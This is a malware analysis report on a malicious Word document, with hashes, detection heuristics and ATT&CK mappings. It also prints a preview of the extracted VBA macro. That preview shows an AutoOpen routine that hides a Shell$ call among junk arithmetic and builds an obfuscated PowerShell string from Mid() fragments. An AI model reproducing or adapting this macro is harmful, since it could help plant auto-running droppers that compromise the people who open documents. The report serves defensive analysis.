Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4fae543d7e586503…

MALICIOUS

Office (OLE)

145.5 KB Created: 2017-12-18 18:42:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: 3d26b09bd9314b2799d06ad90c3c7fbb SHA-1: 14cd4906911a03f0811cb37c0b29b46368228761 SHA-256: 4fae543d7e58650359e4f7bdf6a05a67dc16bfcc0f05b12322e92bb60b032bac
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Microsoft Office document containing a VBA macro. The AutoOpen macro triggers a Shell() call, which is a critical finding indicating the execution of arbitrary code. This macro is likely responsible for downloading and executing a second-stage payload, as suggested by the ClamAV detection name 'Img.Dropper.PhishingLure'. The presence of legacy WordBasic markers and the Shell() call within the VBA code strongly suggest a malicious intent to compromise the user's system.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 66577 bytes
SHA-256: b221b0d0573947f312b6b9bc7cb4c7966ebafe4cf699f60d4d21b66b3760688e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "vNthcBLJRsZWh"
Sub AutoOpen()
On Error Resume Next
jiRnamSzz = 9 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(13))) + 12 + ChrB(7 + Atn(12 / ChrW(5) + 4320 + Log(97)) - 14 / 11) - (11 - CBool(881 - 10) * TMfXJir + Cos(10))
PHjirIToL = 12 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(12))) + 7 + ChrB(10 + Atn(10 / ChrW(5) + 4320 + Log(97)) - 11 / 11) - (7 - CBool(881 - 8) * TMfXJir + Cos(11))
ObPnFoKcR = 8 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(10))) + 13 + ChrB(11 + Atn(8 / ChrW(5) + 4320 + Log(97)) - 7 / 12) - (7 - CBool(881 - 7) * TMfXJir + Cos(7))
afHzHQRSP = 9 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(11))) + 7 + ChrB(14 + Atn(10 / ChrW(5) + 4320 + Log(97)) - 7 / 7) - (14 - CBool(881 - 7) * TMfXJir + Cos(10))
bthfBcssG = 13 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(10))) + 13 + ChrB(11 + Atn(11 / ChrW(5) + 4320 + Log(97)) - 7 / 12) - (14 - CBool(881 - 8) * TMfXJir + Cos(11))
VBA.Shell$ WvCOQNz, 0
IXoWuNrIZ = 10 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(11))) + 8 + ChrB(8 + Atn(12 / ChrW(5) + 4320 + Log(97)) - 11 / 11) - (8 - CBool(881 - 13) * TMfXJir + Cos(14))
GUOXKisZw = 11 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(13))) + 13 + ChrB(7 + Atn(14 / ChrW(5) + 4320 + Log(97)) - 9 / 13) - (14 - CBool(881 - 13) * TMfXJir + Cos(10))
mSJUSXfjP = 8 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(14))) + 7 + ChrB(14 + Atn(13 / ChrW(5) + 4320 + Log(97)) - 14 / 7) - (8 - CBool(881 - 13) * TMfXJir + Cos(7))
dsBouhjhU = 8 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(13))) + 13 + ChrB(12 + Atn(13 / ChrW(5) + 4320 + Log(97)) - 12 / 8) - (12 - CBool(881 - 14) * TMfXJir + Cos(7))
vzfzdRzbs = 7 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(8))) + 14 + ChrB(7 + Atn(14 / ChrW(5) + 4320 + Log(97)) - 14 / 8) - (11 - CBool(881 - 12) * TMfXJir + Cos(11))
End Sub
Function WvCOQNz()
On Error Resume Next
TkkAkmX = 8 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(7))) + 8 + ChrB(9 + Atn(7 / ChrW(5) + 4320 + Log(97)) - 12 / 13) - (13 - CBool(881 - 9) * TMfXJir + Cos(10))
OpmzUitzQPN = 13 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(11))) + 13 + ChrB(13 + Atn(7 / ChrW(5) + 4320 + Log(97)) - 12 / 10) - (8 - CBool(881 - 7) * TMfXJir + Cos(8))
mvsLVkUJpa = Mid("UO1dF9m'+'s ='+' SUBenv:pq9m+q9'+'mu'+'blic + kCq9m+qSj9+Sj99mUWqq9m+q9mHq9m+q9mkCU + SUBkq9m+q9maq9m+q9mraq9Sj9+Sj9m+NRYpqhw", 6, 113)
sJOkdt = 10 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(8))) + 10 + ChrB(12 + Atn(14 / ChrW(5) + 4320 + Log(97)) - 8 / 12) - (9 - CBool(881 - 13) * TMfXJir + Cos(8))
HKOGiTjFAI = 9 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(7))) + 8 + ChrB(7 + Atn(10 / ChrW(5) + 4320 + Log(97)) - 8 / 12) - (12 - CBool(881 - 13) * TMfXJir + Cos(13))
OnUKJqbiNWR = 7 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(11))) + 11 + ChrB(13 + Atn(12 / ChrW(5) + 4320 + Log(97)) - 9 / 7) - (10 - CBool(881 - 10) * TMfXJir + Cos(8))
pMCVKnGjqpU = Mid("s7zznDjiNUnPpf7WTZSj99m+q9mkq9'+'m+q9mCDFpnTPcv2", 19, 21)
pRFmiATMR = 9 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(13))) + 8 + ChrB(9 + Atn(8 / ChrW(5) + 4320 + Log(97)) - 11 / 7) - (7 - CBool(881 - 14) * TMfXJir + Cos(14))
kllLQjicT = 12 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(9))) + 9 + ChrB(8 + Atn(8 / ChrW(5) + 4320 + Log(97)) - 10 / 7) - (10 - CBool(881 - 8) * TMfXJir + Cos(12))
WptDTwYsU = 7 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(8))) + 9 + ChrB(13 + Atn(8 / ChrW(5) + 4320 + Log(97)) - 12 / 10) - (9 - CBool(881 - 11) * TMfXJir + Cos(13))
dCqrqnqJv = Mid("5OJDzl0F92SPN5kh04d5sd2s4'+'meSj9+Sj9;}}q9m).RepLaCe(q9mWqHq9m,[sTRING][CHaRSj9+Sj9]'+'92).RepLaC'+'e(q9'+'mkCUq9m,[sTRING][CHaR]39)2K1Q9VjoWjtA", 26, 107)
iYOzTfktir = 10 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(14))) + 10 + ChrB(14 + Atn(13 / ChrW(5) + 4320 + Log(97)) - 8 / 9) - (9 - CBool(881 - 11) * TMfXJir + Cos(8))
SFFnHo = 13 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(9))) + 7 + ChrB(7 + Atn(8 / ChrW(5) + 4320 + Log(97)) - 14 / 10) - (14 - CBool(881 - 8) * TMfXJir + Cos(13))
... (truncated)

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